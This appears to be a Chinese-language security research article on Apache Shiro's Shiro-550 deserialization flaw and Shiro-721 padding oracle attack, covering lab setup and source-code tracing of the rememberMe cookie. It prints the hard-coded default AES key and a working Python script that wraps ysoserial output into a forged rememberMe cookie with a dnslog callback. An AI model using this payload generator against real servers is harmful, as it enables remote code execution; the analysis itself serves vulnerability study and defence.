Apache Shiro框架若干漏洞原理研究
一、Shiro简介
Apache Shiro是企业常见的JAVA安全框架,执行身份验证、授权、密码和会话管理。
- 验证用户身份
- 用户访问权限控制,比如:1、判断用户是否分配了一定的安全角色。2、判断用户是否被授予完成某个操作的权限
- 在非 Web 或 EJB 容器的环境下可以任意使用Session API
- 可以响应认证、访问控制,或者 Session 生命周期中发生的事件
- 可将一个或以上用户安全数据源数据组合成一个复合的用户 “view”(视图)
- 支持单点登录(SSO)功能
- 支持提供“Remember Me”服务,获取用户关联信息而无需登录
环境搭建
1、启动Tomcat
cd /Users/zhenghan/Projects/apache-tomcat-8.5.93/bin ./startup.sh http://localhost:8080/
2、本地搭建shiro环境
https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
直接打开该maven项目,
idea自动会对项目依赖进行加载。我们使用其中官方给出的例子进行测试,也即是在samples文件夹下的samples-web项目。
首先,我们对pom.xml就行修改,添加commons-collections 3.2.1的依赖和添加jstl依赖的版本。
<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
由于是maven构建的开源工程,我们需要先将工程转换成war包来部署,注意确认pom.xml中配置为war。
接下来,添加tomcat容器进行部署,启动服务。
ideal配置tomcat利用的是将网页源码添加到本地tomcat的webapps文件夹下,用的还是本地的tomcat服务器
然后点击运行,会自动打开浏览器访问页面。
http://localhost:8080/samples_web_war_exploded/
参考链接:
https://cloud.tencent.com/developer/article/1599252 https://github.com/apache/shiro
二、Shiro-550反序列漏洞原理分析
0x1:漏洞原因简介
Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RemeberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:
- 检索RemeberMe cookie的值
- Base 64解码
- 使用ACE解密(加密密钥硬编码)
- 进行反序列化操作(未作过滤处理)
漏洞的产生就在于在调用反序列化的时候未进行任何过滤,导致可以触发远程代码执行漏洞。
攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
由于使用了AES加密,要想成功利用漏洞则需要获取AES的加密密钥,而在shiro1.2.4之前版本中使用的是硬编码,AES加密的密钥默认在代码里。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA== ,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
目前已经更新了很多版本,但是官方并没有把反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用固定的编码,也有很多开源项目内部集成了shiro并二次开发,可能会重现低版本shiro的默认固定密钥的风险。例如Guns开源框架内部集成了shiro并进行二次开发,作者自定义密钥并固定,此时用户如果不对密钥进行修改,即使升级shiro版本,也依旧存在固定密钥的风险。攻击者可以通过搜索引擎和github来收集密钥,提高漏洞检测和利用的成功率。
如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
shiro开发者的本意是通过序列化的方式对RemeberMe的value进行序列化存储以及反序列化提取,这个RemeberMe value本来是一个普通字符串,但是在java中,字符串也是一个类,反序列化的过程本质上是在进行类重建。java的这种特定就引入了极大的攻击面,如果攻击者能够控制传入反序列化参数的内容,理论上就可以进行任意类的反序列化类重建,
0x2:漏洞原理源码分析
1、cookie value加密过程
先分析一下加密的过程。
在org/apache/shiro/mgt/DefaultSecurityManager.java代码的rememberMeSuccessfulLogin方法下断点。
跟进onSuccessfulLogin方法,具体实现代码在AbstractRememberMeManager.java。
调用forgetIdentity方法对subject进行处理,subject对象表示单个用户的状态和安全操作,包含认证、授权等( http://shiro.apache.org/static/1.6.0/apidocs/org/apache/shiro/subject/Subject.html)。
继续跟进forgetIdentity方法,getCookie方法获取请求的cookie,接着会进入到removeFrom方法。
removeForm主要在response头部添加Set-Cookie: rememberMe=deleteMe。
然后再回到onSuccessfulLogin方法中,如果设置rememberMe则进入rememberIdentity。
rememberIdentity方法代码中,调用convertPrincipalsToBytes对用户名进行处理。
进入convertPrincipalsToBytes,调用serialize对用户名进行处理。
跟进serialize方法来到org/apache/shiro/io/DefaultSerializer.java,很明显这里对用户名进行了序列化。
再回到convertPrincipalsToBytes,接着对序列化的数据进行加密,跟进encrypt方法。加密算法为AES,模式为CBC,填充算法为PKCS5Padding。
getEncryptionCipherKey获取加密的密钥,在AbstractRememberMeManager.java定义了默认的加密密钥为kPH+bIxk5D2deZiIxcaaaA==。
加密完成后,继续回到rememberIdentity,跟进rememberSerializedIdentity方法。
对加密的bytes进行base64编码,保存在cookie中。至此,加密的流程基本就分析完了。
2、cookie value解密过程
这里假设攻击者已经获取了AES秘钥,伪造加密流程构造了rememberMe。
# -*-* coding:utf-8 import base64 import uuid import subprocess from Crypto.Cipher import AES def rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = rememberme('http://littlehann.dnslog.cn') with open("./payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode())) res = "rememberMe={}".format(payload.decode()) fpw.write(res)
此处注意删除JSESSIONID,否则后续无法利用 将其中的remember Me字段复制下来输入到工具中进行利用。
对cookie中rememberMe的解密代码也是在AbstractRememberMeManager.java中实现。直接在getRememberedPrincipals下断点。
getRememberedSerializedIdentity返回cookie中rememberMe的base64解码后的bytes。
继续调用convertBytesToPrincipals方法对解码后的bytes处理,跟进convertBytesToPrincipals方法,调用decrypt方法对bytes进行解密。
然后进入到deserialize方法进行反序列化,即用户可控的rememberMe值经过解密后进行反序列化从而引发反序列化漏洞。这里需要注意的是Shiro并不是使用原生的反序列化,而是重写了ObjectInputStream。
0x3:漏洞利用复现
漏洞触发流程为:
- 攻击者构造恶意的序列化Cookie rememberMe的值
- shiro服务端对Cookie rememberMe value解密,对解密后的字节码进行反序列化
- 触发反序列化利用链
所以Shiro反序列化漏洞一个很关键的点就在于AES解密的密钥,攻击者需要知道密钥才能构造恶意的序列化数据。在Shiro≤1.2.4中默认密钥为kPH+bIxk5D2deZiIxcaaaA==。官方针对这个漏洞的修复方式是去掉了默认的Key,生成随机的Key。
参考链接:
https://blog.csdn.net/m0_52062236/article/details/130855448 http://changxia3.com/2020/09/03/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B8%80%EF%BC%88%E5%8E%9F%E7%90%86%E7%AF%87%EF%BC%89/ https://cloud.tencent.com/developer/article/1041471 https://xz.aliyun.com/t/11808 https://www.freebuf.com/vuls/283810.html https://github.com/frohoff/ysoserial https://juejin.cn/post/7133959651653058574#heading-11
三、Shiro-721反序列漏洞原理分析
0x1:利用条件
知道已经登陆用户的合法cookie且目标服务器含有可利用的攻击链就可以进行漏洞利用。
0x2:漏洞原理
Apache Shiro RememberMe Cookie默认通过AES-128-CBC模式加密,这种加密方式容易受到Padding Oracle Attack(Oracle填充攻击),利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击.
AES 是指 “高级加密标准”,是一种对称加密的分组加密算法,128是指密钥长度,CBC是指 “密码分组链接” 加密模式 , PKCS5Padding 是 Apache Shiro 中默认填充方式 , 最后一个明文分组缺少 N 个字节,则填充N个0x0N。
在 Apache Shiro 中默认使用 CBC 加密模式与 PKCS5Padding 填充方式,CBC 加密模式容易遭到 Padding Oracle Attack,攻击者可以通过枚举 IV 的方式计算出全部明文,并且可以通过 CBC Byte-Flipping Attack 篡改某一段的明文。
Padding Oracle Attack 利用前提 :
- 攻击者能够获得密文( CipherText )与附带在密文前面的初始化向量( IV )
- 服务端对密文解密后会判断 Padding 是否有效 . 并根据不同的判定结果返回不同的响应信息。
CBC Byte-Flipping Attack 利用前提 :
- 明文和密文已知